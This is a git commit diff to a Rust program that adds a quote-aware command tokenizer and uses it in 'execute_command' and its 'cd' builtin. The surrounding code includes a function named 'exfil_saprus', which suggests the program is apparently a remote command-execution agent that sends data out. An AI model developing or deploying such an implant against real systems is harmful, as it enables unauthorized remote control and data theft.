tokenize string

this should let us have arguments with spaces like quoted strings
This commit is contained in:
2025-04-11 14:40:33 -04:00
parent b82a8ac525
commit d0ee4f8b13

43
main.rs
View File

@@ -27,11 +27,50 @@ fn exfil_saprus(data: &str) {
}
}
fn tokenize_command(command: &str) -> Vec<String> {
let mut tokens = Vec::new();
let mut current_token = String::new();
let mut in_single_quotes = false;
let mut in_double_quotes = false;
let mut escape_next = false;
for c in command.chars() {
if escape_next {
current_token.push(c);
escape_next = false;
continue;
}
match c {
'\\' => escape_next = true,
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
' ' if !in_single_quotes && !in_double_quotes => {
if !current_token.is_empty() {
tokens.push(current_token);
current_token = String::new();
}
},
_ => current_token.push(c),
}
}
if !current_token.is_empty() {
tokens.push(current_token);
}
tokens
}
fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin
match command.split_whitespace().next() {
match tokenize_command(&command).first() {
Some(first_word) if first_word == "cd" => {
let path: String = command.split_whitespace().skip(1).collect::<Vec<&str>>().join(" ");
let path = tokenize_command(&command)
.into_iter()
.skip(1)
.collect::<Vec<String>>()
.join(" ");
match cd(&path) {
Ok(_) => return Ok("".to_string()),
Err(e) => return Err(e),